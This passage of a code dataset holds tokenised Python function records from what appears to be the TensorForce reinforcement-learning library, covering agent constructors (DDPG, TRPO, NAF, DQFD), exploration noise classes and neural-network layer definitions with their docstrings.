enumerate(internals):<EOL><INDENT>internal.append(experience['<STR_LIT>'][n])<EOL><DEDENT>if self.unique_action:<EOL><INDENT>actions['<STR_LIT:action>'].append(experience['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>for name in sorted(actions):<EOL><INDENT>actions[name].append(experience['<STR_LIT>'][name])<EOL><DEDENT><DEDENT>terminal.append(experience['<STR_LIT>'])<EOL>reward.append(experience['<STR_LIT>'])<EOL><DEDENT>self.model.import_experience(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>", "docstring": "Imports experiences.\n\nArgs:\n    experiences:", "id": "f14294:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>critic_network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>optimizer=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>critic_optimizer=None,<EOL>target_sync_frequency=<NUM_LIT>,<EOL>target_update_weight=<NUM_LIT:1.0><EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:10><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>assert update_mode['<STR_LIT>'] == '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=True,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert memory['<STR_LIT>']<EOL><DEDENT>if optimizer is None:<EOL><INDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>if critic_optimizer is None:<EOL><INDENT>critic_optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>self.critic_network = critic_network<EOL>self.critic_optimizer = critic_optimizer<EOL>self.target_sync_frequency = target_sync_frequency<EOL>self.target_update_weight = target_update_weight<EOL>super(DDPGAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the DDPG agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'timesteps' if given (default: 'timesteps').\n        - batch_size: integer (default: 10).\n        - frequency: integer (default: batch_size).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='replay', include_next_states=true, capacity=1000*batch_size}).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (default: {type='adam', learning_rate=1e-3}).\n    critic_network (spec): Critic network specification, size_t0 and size_t1.\n    critic_optimizer (spec): Critic optimizer specification, see core.optimizers module for\n        more information (default: {type='adam', learning_rate=1e-3}).\n    target_sync_frequency (int): Target network sync frequency (default: 10000).\n    target_update_weight (float): Target network update weight (default: 1.0).", "id": "f14295:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>baseline_mode=None,<EOL>baseline=None,<EOL>baseline_optimizer=None,<EOL>gae_lambda=None,<EOL>likelihood_ratio_clipping=None,<EOL>learning_rate=<NUM_LIT>,<EOL>cg_max_iterations=<NUM_LIT:10>,<EOL>cg_damping=<NUM_LIT>,<EOL>cg_unroll_loop=True,<EOL>ls_max_iterations=<NUM_LIT:10>,<EOL>ls_accept_ratio=<NUM_LIT>,<EOL>ls_unroll_loop=False<EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:10><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=False,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert not memory['<STR_LIT>']<EOL><DEDENT>assert (update_mode['<STR_LIT>'] != '<STR_LIT>' or memory['<STR_LIT:type>'] == '<STR_LIT>')<EOL>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>optimizer=dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=learning_rate,<EOL>cg_max_iterations=cg_max_iterations,<EOL>cg_damping=cg_damping,<EOL>cg_unroll_loop=cg_unroll_loop,<EOL>),<EOL>ls_max_iterations=ls_max_iterations,<EOL>ls_accept_ratio=ls_accept_ratio,<EOL>ls_mode='<STR_LIT>',  <EOL>ls_parameter=<NUM_LIT:0.5>,  <EOL>ls_unroll_loop=ls_unroll_loop<EOL>)<EOL>self.baseline_mode = baseline_mode<EOL>self.baseline = baseline<EOL>self.baseline_optimizer = baseline_optimizer<EOL>self.gae_lambda = gae_lambda<EOL>self.likelihood_ratio_clipping = likelihood_ratio_clipping<EOL>super(TRPOAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the TRPO agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'episodes' if given (default: 'episodes').\n        - batch_size: integer (default: 10).\n        - frequency: integer (default: batch_size).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='latest', include_next_states=false, capacity=1000*batch_size}).\n    optimizer (spec): TRPO agent implicitly defines a optimized-step natural-gradient\n        optimizer.\n    baseline_mode (str): One of 'states', 'network' (default: none).\n    baseline (spec): Baseline specification, see core.baselines module for more information\n        (default: none).\n    baseline_optimizer (spec): Baseline optimizer specification, see core.optimizers module\n        for more information (default: none).\n    gae_lambda (float): Lambda factor for generalized advantage estimation (default: none).\n    likelihood_ratio_clipping (float): Likelihood ratio clipping for policy gradient\n        (default: none).\n    learning_rate (float): Learning rate of natural-gradient optimizer (default: 1e-3).\n    cg_max_iterations (int): Conjugate-gradient max iterations (default: 20).\n    cg_damping (float): Conjugate-gradient damping (default: 1e-3).\n    cg_unroll_loop (bool): Conjugate-gradient unroll loop (default: false).\n    ls_max_iterations (int): Line-search max iterations (default: 10).\n    ls_accept_ratio (float): Line-search accept ratio (default: 0.9).\n    ls_unroll_loop (bool): Line-search unroll loop (default: false).", "id": "f14296:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>optimizer=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>target_sync_frequency=<NUM_LIT>,<EOL>target_update_weight=<NUM_LIT:1.0>,<EOL>double_q_model=False,<EOL>huber_loss=None<EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:32>,<EOL>frequency=<NUM_LIT:4><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>assert update_mode['<STR_LIT>'] == '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=True,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert memory['<STR_LIT>']<EOL><DEDENT>if optimizer is None:<EOL><INDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>self.target_sync_frequency = target_sync_frequency<EOL>self.target_update_weight = target_update_weight<EOL>self.double_q_model = double_q_model<EOL>self.huber_loss = huber_loss<EOL>super(NAFAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the NAF agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'timesteps' if given (default: 'timesteps').\n        - batch_size: integer (default: 32).\n        - frequency: integer (default: 4).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='replay', include_next_states=true, capacity=1000*batch_size}).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (default: {type='adam', learning_rate=1e-3}).\n    target_sync_frequency (int): Target network sync frequency (default: 10000).\n    target_update_weight (float): Target network update weight (default: 1.0).\n    double_q_model (bool): Specifies whether double DQN mode is used (default: false).\n    huber_loss (float): Huber loss clipping (default: none).", "id": "f14297:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>optimizer=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>target_sync_frequency=<NUM_LIT>,<EOL>target_update_weight=<NUM_LIT:1.0>,<EOL>huber_loss=None,<EOL>expert_margin=<NUM_LIT:0.5>,<EOL>supervised_weight=<NUM_LIT:0.1>,<EOL>demo_memory_capacity=<NUM_LIT>,<EOL>demo_sampling_ratio=<NUM_LIT><EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:32>,<EOL>frequency=<NUM_LIT:4><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>assert update_mode['<STR_LIT>'] == '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=True,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert memory['<STR_LIT>']<EOL><DEDENT>if optimizer is None:<EOL><INDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>self.target_sync_frequency = target_sync_frequency<EOL>self.target_update_weight = target_update_weight<EOL>self.double_q_model = True<EOL>self.huber_loss = huber_loss<EOL>self.expert_margin = expert_margin<EOL>self.supervised_weight = supervised_weight<EOL>self.demo_memory_capacity = demo_memory_capacity<EOL>self.demo_batch_size = int(demo_sampling_ratio * update_mode['<STR_LIT>'] / (<NUM_LIT:1.0> - demo_sampling_ratio))<EOL>assert self.demo_batch_size > <NUM_LIT:0>, '<STR_LIT>''<STR_LIT>''<STR_LIT>'.format(self.demo_batch_size)<EOL>super(DQFDAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the DQFD agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'timesteps' if given (default: 'timesteps').\n        - batch_size: integer (default: 32).\n        - frequency: integer (default: 4).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='replay', include_next_states=true, capacity=1000*batch_size}).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (default: {type='adam', learning_rate=1e-3}).\n    target_sync_frequency (int): Target network sync frequency (default: 10000).\n    target_update_weight (float): Target network update weight (default: 1.0).\n    huber_loss (float): Huber loss clipping (default: none).\n    expert_margin (float): Enforced supervised margin between expert action Q-value and\n        other Q-values (default: 0.5).\n    supervised_weight (float): Weight of supervised loss term (default: 0.1).\n    demo_memory_capacity (int): Capacity of expert demonstration memory (default: 10000).\n    demo_sampling_ratio (float): Runtime sampling ratio of expert data (default: 0.2).", "id": "f14298:c0:m0"}
{"signature": "def import_demonstrations(self, demonstrations):", "body": "if isinstance(demonstrations, dict):<EOL><INDENT>if self.unique_state:<EOL><INDENT>demonstrations['<STR_LIT>'] = dict(state=demonstrations['<STR_LIT>'])<EOL><DEDENT>if self.unique_action:<EOL><INDENT>demonstrations['<STR_LIT>'] = dict(action=demonstrations['<STR_LIT>'])<EOL><DEDENT>self.model.import_demo_experience(**demonstrations)<EOL><DEDENT>else:<EOL><INDENT>if self.unique_state:<EOL><INDENT>states = dict(state=list())<EOL><DEDENT>else:<EOL><INDENT>states = {name: list() for name in demonstrations[<NUM_LIT:0>]['<STR_LIT>']}<EOL><DEDENT>internals = {name: list() for name in demonstrations[<NUM_LIT:0>]['<STR_LIT>']}<EOL>if self.unique_action:<EOL><INDENT>actions = dict(action=list())<EOL><DEDENT>else:<EOL><INDENT>actions = {name: list() for name in demonstrations[<NUM_LIT:0>]['<STR_LIT>']}<EOL><DEDENT>terminal = list()<EOL>reward = list()<EOL>for demonstration in demonstrations:<EOL><INDENT>if self.unique_state:<EOL><INDENT>states['<STR_LIT:state>'].append(demonstration['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>for name, state in states.items():<EOL><INDENT>state.append(demonstration['<STR_LIT>'][name])<EOL><DEDENT><DEDENT>for name, internal in internals.items():<EOL><INDENT>internal.append(demonstration['<STR_LIT>'][name])<EOL><DEDENT>if self.unique_action:<EOL><INDENT>actions['<STR_LIT:action>'].append(demonstration['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>for name, action in actions.items():<EOL><INDENT>action.append(demonstration['<STR_LIT>'][name])<EOL><DEDENT><DEDENT>terminal.append(demonstration['<STR_LIT>'])<EOL>reward.append(demonstration['<STR_LIT>'])<EOL><DEDENT>self.model.import_demo_experience(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>", "docstring": "Imports demonstrations, i.e. expert observations. Note that for large numbers of observations,\nset_demonstrations is more appropriate, which directly sets memory contents to an array an expects\na different layout.\n\nArgs:\n    demonstrations: List of observation dicts", "id": "f14298:c0:m2"}
{"signature": "def pretrain(self, steps):", "body": "for _ in xrange(steps):<EOL><INDENT>self.model.demo_update()<EOL><DEDENT>", "docstring": "Computes pre-train updates.\n\nArgs:\n    steps: Number of updates to execute.", "id": "f14298:c0:m3"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>action_values,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None<EOL>):", "body": "self.scope = scope<EOL>self.device = device<EOL>self.saver = saver<EOL>self.summarizer = summarizer<EOL>self.execution = sanity_check_execution_spec(execution)<EOL>self.batching_capacity = batching_capacity<EOL>self.action_values = action_values<EOL>super(ConstantAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity<EOL>)<EOL>", "docstring": "Initializes the constant agent.\n\nArgs:\n    action_values (value, or dict of values): Action values returned by the agent\n        (required).\n    scope (str): TensorFlow scope (default: name of agent).\n    device: TensorFlow device (default: none)\n    saver (spec): Saver specification, with the following attributes (default: none):\n        - directory: model directory.\n        - file: model filename (optional).\n        - seconds or steps: save frequency (default: 600 seconds).\n        - load: specifies whether model is loaded, if existent (default: true).\n        - basename: optional file basename (default: 'model.ckpt').\n    summarizer (spec): Summarizer specification, with the following attributes (default:\n        none):\n        - directory: summaries directory.\n        - seconds or steps: summarize frequency (default: 120 seconds).\n        - labels: list of summary labels to record (default: []).\n        - meta_param_recorder_class: ???.\n    execution (spec): Execution specification (see sanity_check_execution_spec for details).", "id": "f14299:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>sigma=<NUM_LIT>,<EOL>mu=<NUM_LIT:0.0>,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.sigma = sigma<EOL>self.mu = float(mu)  <EOL>super(GaussianNoise, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Initializes distribution values for gaussian noise", "id": "f14301:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>sigma=<NUM_LIT>,<EOL>mu=<NUM_LIT:0.0>,<EOL>theta=<NUM_LIT>,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.sigma = sigma<EOL>self.mu = float(mu)  <EOL>self.theta = theta<EOL>super(OrnsteinUhlenbeckProcess, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Initializes an Ornstein-Uhlenbeck process which is a mean reverting stochastic process\nintroducing time-correlated noise.", "id": "f14304:c0:m0"}
{"signature": "def tf_explore(self, episode, timestep, shape):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates exploration value, e.g. compute an epsilon for epsilon-greedy or sample normal  \nnoise.", "id": "f14306:c0:m1"}
{"signature": "def get_variables(self):", "body": "return [self.variables[key] for key in sorted(self.variables)]<EOL>", "docstring": "Returns exploration variables.\n\nReturns:\n    List of variables.", "id": "f14306:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec):<DEDENT>", "body": "exploration = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.core.explorations.explorations<EOL>)<EOL>assert isinstance(exploration, Exploration)<EOL>return exploration<EOL>", "docstring": "Creates an exploration object from a specification dict.", "id": "f14306:c0:m3"}
{"signature": "def __init__(self, named_tensors=None, scope='<STR_LIT>', summary_labels=None):", "body": "self.scope = scope<EOL>self.summary_labels = set(summary_labels or ())<EOL>self.named_tensors = named_tensors<EOL>self.variables = dict()<EOL>self.all_variables = dict()<EOL>def custom_getter(getter, name, registered=False, **kwargs):<EOL><INDENT>variable = getter(name=name, registered=True, **kwargs)<EOL>if registered:<EOL><INDENT>pass<EOL><DEDENT>elif name in self.all_variables:<EOL><INDENT>assert variable is self.all_variables[name]<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>assert variable is self.variables[name]<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.all_variables[name] = variable<EOL>if kwargs.get('<STR_LIT>', True):<EOL><INDENT>self.variables[name] = variable<EOL>if '<STR_LIT>' in self.summary_labels:<EOL><INDENT>tf.contrib.summary.histogram(name=name, tensor=variable)<EOL><DEDENT><DEDENT><DEDENT>return variable<EOL><DEDENT>self.apply = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_apply,<EOL>custom_getter_=custom_getter<EOL>)<EOL>self.regularization_loss = tf.make_template(<EOL>name_=(scope + '<STR_LIT>'),<EOL>func_=self.tf_regularization_loss,<EOL>custom_getter_=custom_getter<EOL>)<EOL>", "docstring": "Layer.", "id": "f14307:c0:m0"}
{"signature": "def tf_apply(self, x, update):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the TensorFlow operations for applying the layer to the given input.\n\nArgs:\n    x: Layer input tensor.\n    update: Boolean tensor indicating whether this call happens during an update.\n\nReturns:\n    Layer output tensor.", "id": "f14307:c0:m1"}
{"signature": "def tf_regularization_loss(self):", "body": "return None<EOL>", "docstring": "Creates the TensorFlow operations for the layer regularization loss.\n\nReturns:\n    Regularization loss tensor.", "id": "f14307:c0:m2"}
{"signature": "def internals_spec(self):", "body": "return dict()<EOL>", "docstring": "Returns the internal states specification.\n\nReturns:\n    Internal states specification", "id": "f14307:c0:m3"}
{"signature": "def get_variables(self, include_nontrainable=False):", "body": "if include_nontrainable:<EOL><INDENT>return [self.all_variables[key] for key in sorted(self.all_variables)]<EOL><DEDENT>else:<EOL><INDENT>return [self.variables[key] for key in sorted(self.variables)]<EOL><DEDENT>", "docstring": "Returns the TensorFlow variables used by the layer.\n\nReturns:\n    List of variables.", "id": "f14307:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "layer = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.core.networks.layers,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(layer, Layer)<EOL>return layer<EOL>", "docstring": "Creates a layer from a specification dict.", "id": "f14307:c0:m5"}
{"signature": "def __init__(<EOL>self,<EOL>names,<EOL>aggregation_type='<STR_LIT>',<EOL>axis=<NUM_LIT:1>,<EOL>named_tensors=None,<EOL>scope='<STR_LIT:input>',<EOL>summary_labels=()<EOL>):", "body": "self.names = names<EOL>self.aggregation_type = aggregation_type<EOL>self.axis = axis<EOL>super(Input, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Input layer.\n\nArgs:\n    names: A list of strings that name the inputs to merge\n    axis: Axis to merge the inputs", "id": "f14307:c1:m0"}
{"signature": "def __init__(<EOL>self,<EOL>name,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.name = name<EOL>super(Output, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Output layer.\n\nArgs:\n    output: A string that names the tensor, will be added to available inputs", "id": "f14307:c2:m0"}
{"signature": "def __init__(self, layer, named_tensors=None, scope='<STR_LIT>', summary_labels=(), **kwargs):", "body": "self.layer_spec = layer<EOL>self.layer = util.get_object(obj=layer, predefined_objects=TFLayer.tf_layers, kwargs=kwargs)<EOL>self.first_scope = None<EOL>super(TFLayer, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new layer instance of a TensorFlow layer.\n\nArgs:\n    name: The name of the layer, one of 'dense'.\n    **kwargs: Additional arguments passed on to the TensorFlow layer constructor.", "id": "f14307:c3:m0"}
{"signature": "def __init__(self,<EOL>name='<STR_LIT:relu>',<EOL>alpha=None,<EOL>beta=<NUM_LIT:1.0>,<EOL>max=None,<EOL>min=None,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.name = name<EOL>self.alpha = None<EOL>self.max = None<EOL>self.min = None<EOL>self.beta_learn = False<EOL>super(Nonlinearity, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>if max is not None:<EOL><INDENT>self.max = float(max)<EOL><DEDENT>if min is not None:<EOL><INDENT>self.min = float(min)<EOL><DEDENT>if alpha is not None:<EOL><INDENT>self.alpha = float(alpha)<EOL><DEDENT>if beta == '<STR_LIT>':<EOL><INDENT>self.beta_learn = True<EOL>self.beta = None<EOL><DEDENT>else:<EOL><INDENT>self.beta = tf.constant(float(beta), dtype=util.tf_dtype('<STR_LIT:float>'))<EOL><DEDENT>", "docstring": "Non-linearity activation layer.\n\nArgs:\n    name: Non-linearity name, one of 'elu', 'relu', 'selu', 'sigmoid', 'swish',\n        'leaky_relu' (or 'lrelu'), 'crelu', 'softmax', 'softplus', 'softsign', 'tanh' or 'none'.\n    alpha: (float|int) Alpha value for leaky Relu\n    beta: (float|int|'learn') Beta value or 'learn' to train value (default 1.0)\n    max: (float|int) maximum (beta * input) value passed to non-linearity function\n    min: (float|int) minimum (beta * input) value passed to non-linearity function\n    summary_labels: Requested summary labels for tensorboard export, add 'beta' to watch beta learning", "id": "f14307:c4:m0"}
{"signature": "def __init__(<EOL>self,<EOL>pooling_type='<STR_LIT>',<EOL>window=<NUM_LIT:2>,<EOL>stride=<NUM_LIT:2>,<EOL>padding='<STR_LIT>',<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.pooling_type = pooling_type<EOL>if isinstance(window, int):<EOL><INDENT>self.window = (<NUM_LIT:1>, window, window, <NUM_LIT:1>)<EOL><DEDENT>elif len(window) == <NUM_LIT:2>:<EOL><INDENT>self.window = (<NUM_LIT:1>, window[<NUM_LIT:0>], window[<NUM_LIT:1>], <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError('<STR_LIT>'.format(window))<EOL><DEDENT>if isinstance(stride, int):<EOL><INDENT>self.stride = (<NUM_LIT:1>, stride, stride, <NUM_LIT:1>)<EOL><DEDENT>elif len(window) == <NUM_LIT:2>:<EOL><INDENT>self.stride = (<NUM_LIT:1>, stride[<NUM_LIT:0>], stride[<NUM_LIT:1>], <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError('<STR_LIT>'.format(stride))<EOL><DEDENT>self.padding = padding<EOL>super(Pool2d, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "2-dimensional pooling layer.\n\nArgs:\n    pooling_type: Either 'max' or 'average'.\n    window: Pooling window size, either an integer or pair of integers.\n    stride: Pooling stride, either an integer or pair of integers.\n    padding: Pooling padding, one of 'VALID' or 'SAME'.", "id": "f14307:c7:m0"}
{"signature": "def __init__(<EOL>self,<EOL>indices,<EOL>size,<EOL>l2_regularization=<NUM_LIT:0.0>,<EOL>l1_regularization=<NUM_LIT:0.0>,<EOL>named_tensors=None,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.indices = indices<EOL>self.size = size<EOL>self.l2_regularization = l2_regularization<EOL>self.l1_regularization = l1_regularization<EOL>super(Embedding, self).__init__(named_tensors=named_tensors, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Embedding layer.\n\nArgs:\n    indices: Number of embedding indices.\n    size: Embedding size.\n    l2_regularization: L2 regularization weight.\n    l1_regularization: L1 regularization weight.", "id": "f14307:c8:m0"}
